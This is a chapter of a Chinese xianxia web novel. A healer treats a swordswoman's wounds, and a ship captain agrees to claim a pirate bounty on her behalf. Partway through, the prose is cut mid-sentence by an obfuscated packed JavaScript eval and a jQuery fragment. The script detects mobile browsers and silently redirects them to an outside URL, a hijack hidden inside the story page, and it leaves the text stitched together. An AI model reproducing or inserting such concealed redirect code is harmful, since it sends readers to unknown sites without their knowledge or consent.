似是察觉到二人之间气氛太过旖旎,李长缨猛地收回手,动作幅度过大,撞翻了一旁的瓷瓶。
“我、我看这伤治得差不多了,就先告辞……”她脸颊染上一层绯色,裹紧衣襟匆匆起身。
“且慢,”奚不言温声开口,面色恢复如常,“你右肋不是也被伤了么?”
目光落在她右肋处破损的衣物上,他示意她坐下。
先前还不觉得,现在她细细感受,是有几分疼痛。
李长缨悻悻坐下,举止间牵扯到伤口,疼得她轻轻“嘶”了声。
“别动。”
他的声音很轻,却不容抗拒。手指挑开她被血黏住的衣衫,露出那道狰狞的刀伤。
眉头皱得厉害,他凝起一团淡青色灵光,温柔按在伤口边缘。她下意识绷紧身体,却发觉他灵力温润如春溪,缓慢渗入肌肤,中和着毒素带来的灼痛。
“疼吗?”他问,声音沉了几分。
她摇头,奚不言的动作却放得更轻,指腹沿着伤口边缘缓缓游走。
房内很静,两人的呼吸声交织在一起。
他的气息拂过她颈侧,带着些许热气。李长缨微一侧头,便能看见他低垂的睫毛投下一片阴影,鼻梁的线条干净利落,薄唇紧抿。
“你灵力消耗太多,别勉强。”她低声道。
他没应声,依然专注于给她治伤,指尖偶尔擦过她未受伤的肌肤,触感微凉。毒素渐渐被逼出,伤口迅速愈合,可他的手指仍停留在她肋间,灵力温养着枯竭的经脉。她忽然觉得有些口干,不自觉地动了动身子。
“好了,”奚不言收回手,退开半步,似是满意,轻点了下头,“等它彻底愈合,应当不会留疤。”
李长缨连忙起身,扯了扯皱巴巴的衣衫,才发觉自己左肩和右肋处的布料被刀气割裂,露出雪白的肌肤。她下意识抬手去遮,双颊绯红。
原来她是顶着这副模样走过来的,其间还和庄青青交谈了几句……
耳后慢一拍般烧了起来,她不愿再想。
奚不言倏地别开眼,俯身拾起放在一旁的月白披风。
“披好。”
声音依旧平静,动作却比治疗时僵硬了几分。披风拢住她肩头,指尖不小心擦过她后颈,两人俱是一顿。
李长缨捏住披风边缘,布料宽大,将她整个裹住,领口萦绕着一缕清苦药香,残留着他的温度。
四目相对,她不自在地垂眸,声如蚊蚋:“多谢。”
他正低头整理药瓶,闻言,手指轻蜷,瓶瓶罐罐撞出清脆一响:“……嗯。”
抬脚欲离开,她忽地想到什么,从芥子囊中取出用碎布条包裹的金丹残片。
“我把韩破浪的金丹挖出来了,三仙岛的悬赏墙上,这颗金丹值五千灵石和,外加一盒起死回生丹。”说到最后,她的语气里沾上一丝跃跃欲试。
奚不言看着她,语气冷硬,想也不想断然拒绝:“不可,你可知悬赏他的背后之人是谁?你前脚去领赏,后脚就可能会被狂鲨号余党围杀。”
她眯起眼:“血蛟帮发布的悬赏,想必是玉面罗刹的主意……至于围杀,那就等我杀干净再去领赏,反正他们的头儿都成了我剑下亡魂。”
“胡闹,”他眉头紧锁,声音肃然,“若是此战没有爆灵丹呢?若是韩破浪没有轻敌呢?那变成刀下亡魂的,就是你。”
无言以对。
李长缨咬了咬唇,纠结道:“可是……整整五千灵石,还有起死回生丹,那玩意你知道的吧,有价无市,更别说一整盒了。”
扫了她一眼,他淡淡道:“这种东西,杏林门多得是,你若是需要,我即刻让叶师姐给你寄来。”
“当真?”她瞪大眼睛。
那可是起死回生丹,能活死人、肉白骨的仙丹,杏林门虽贵为医修大派,也不至于豪成这样吧?
李长缨对他话语的真实性表示怀疑。
“自然,”奚不言一脸淡定,“这实际上是我宗掌门绝学,市面上少,只因为杏林门概不外售罢了。”
她把金丹碎片重新收好,一脸沮丧:“……行吧,但是还有五千灵石呢,若是全用来给星澜剑保养,足以将它捧到天阶法器的品质,当真不去换?”
他面不改色:“我每逢出诊,诊金至少一千灵石。你若是缺钱,可以给我说。”
可恶的富人。
她暗暗咬牙,世上富人多她一个又能如何。
但她表面上礼貌婉拒:“这可不行,咱俩现在是医患关系,哪有我找你要钱的道理?”
“为何不可?”
“反正就是不行,”她摆手,提供另一条思路,“不如我去找个信任之人,帮我领赏?”
他呼吸一顿:“你想找谁?”
“梁渊,”李长缨越想越觉得有道理,“他常年往返东西大陆,肯定常和海寇打交道,并且我的实力他也清楚,不必担心他独吞了赏钱。”
奚不言沉默片刻,同意了她的安排。
…………
梁渊佝偻着背,坐在裂开的龙骨旁,身边堆满大大小小各种木板。
经此一战,青龙号损伤重大,光是开裂的地方就高达百余处。
“在海上漂了几十年,怎就今年撞上狂鲨号,我不记得哪回得罪过韩破浪啊……”他嘟囔着,用牙咬断麻绳。
慢慢走过去,李长缨试探道:“船长,青龙号如何了?”
“很不好,”他耷拉着眉,痛心疾首,“若是想完全修好,恐怕要花个一千多灵石,老夫的毕生积蓄哟……”
“那群蝗虫,仗着我没大宗门撑腰,就敢这般欺负人!”他混着唾沫星子怒骂。
她顿时有些过意不去,此事虽不是她主动招惹,但也和她少不了干系。若不是在识海里和韩破浪打了一架,他断不会亲自率手下来青龙号大开杀戒。好在人员伤亡不重,只是本就在与怒涛盟激战中战损的仙舟,又添了不少伤痕。
眉心一蹙,她嘴唇几番张合,低声道:“我这里有韩破浪的金丹,你能替我去领悬赏吗?三七分账。”
低头解开芥子囊,她掏出金丹碎片给他看。
梁渊瞳孔微张,忍不住抬手,粗糙的手指抚过沾有血污的碎片,声音颤抖:“你说这是……谁的金丹?”
他没听错吧?韩破浪的?那个远近闻名的狂鲨号首领韩破浪?
她冷静道:“韩破浪的。”
闻言,他瞪圆了眼,语无伦次:“韩破浪进境了?不不不,就算他进入元婴也不会把金丹剖出来……你从哪来的?”
“我和他打了一架,把他金丹剖了,”李长缨颠了颠碎片,“可惜力道没收住,它碎了。”
话音未落,梁渊呛得猛咳起来,一边拍着胸口,一边打量着她,目光中带着一份审视。
眼前这个女修,他不是没有印象,之前甲板上那个极乐宫弟子闹事,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941882|177386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一直在舱房里暗中观察,只要事态闹大,即刻出手干预。没想到她用漂亮的一剑,教训了那个仗势欺人的弟子。是以她的大致修为,他心中有数,大概是才步入金丹的样子。
他口中喃喃:“道友你……韩破浪至少是金丹中期,你就?!”
这几日青龙号上并无修士进境的迹象,他敢确定,眼前女子还是金丹初期的修为,可她居然成功杀了韩破浪?!这要是传出去,怕是没有几个人敢相信。
金丹初期与金丹中期,虽同为金丹,一字之差,差之千里。
每一境界的提升,都是对上个境界的全面碾压,因此越级杀人的事,在修真界基本不会发生。
她不觉得有什么问题,大方承认:“就把他杀了。”
“是他先来招惹我的。”她补了一句。
梁渊猛地后退两步,后背撞上舱壁:“道友修为高深,梁某佩服,失敬失敬。”
浑不在意地摆摆手,她直接道:“我方才说的那个方法,你看可行吗?”
他一愣,转瞬反应过来。
“让我替你领赏的事?”他摸着下巴,“据我所知,韩破浪的金丹至少值五千灵石,你当真舍得?”
“那是自然,我既然来找你,便是诚心想请求你相助,”李长缨颔首,“三七分账,怎么样?”
三七分账,那他到手能拿到一千多灵石,足以把青龙号修缮一番,还能顺便升个级。
掐指算了几息,他爽快道:“成交。”
“不过你可知,悬赏他的人是谁?”他话锋一转。
李长缨沉声:“血蛟帮,我猜是玉面罗刹的意思。”
梁渊若有所思:“玉面罗刹?那好办,她向来只和斩岳门过不去,其他修士去找她,不会出什么岔子。”抬起黑白分明的眼眸,他好奇道:“你当真不亲自去?”
她摇摇头,言简意赅:“我不便现身。”
…………
两日稍纵即逝。
伤痕累累的青龙号缓缓驶入血蛟岛,那里是进入西大陆前途经的最后一个岛屿,也是血蛟帮的驻地。
血蛟岛整体状似一条潜伏在海洋中央的巨蛟,岛屿边缘怪石嶙峋,中央耸立着一座赤霄峰,宛如蛟首高昂。岛上建筑多以黑红二色为主,风格古朴,其中居民多为凡人,少数来追求财富的修士,更因靠近魔域,多是魔修。
甫一进港,梁渊便重金聘来几位岛上器修,请求他们修缮青龙号。而他自己,则揣着李长缨给他的金丹碎片,直奔赤霄峰。
赤霄峰之巅,有一片黑色建筑群,是血蛟帮的驻地。
毕竟请人修缮的钱都是赊的,只等他领完五千灵石的悬赏,才能支付酬金。
李长缨不打算下船,一来是血蛟岛鱼龙混杂,唯恐招惹是非,二来便是她担心有韩破浪的余党在此守株待兔,她没必要冒险迎敌。
和奚不言在船上呆了半个下午,她正悠闲地啃着西瓜,一眼望见梁渊气喘吁吁地回来。
才踏入房门,他就低声道:“玉面罗刹要见你。”
?
她骤然起身,眉心微蹙,带着些许不悦:“不是说好了,不要把我供出来么?”
梁渊无奈地摊了摊手:“我跟她说,‘有人杀了韩破浪,我来替人领赏’。可她不认代领,点明要见到本人才作数。”
擦擦面上冷汗,他后退半步,让开房门。
“李道友,请吧。”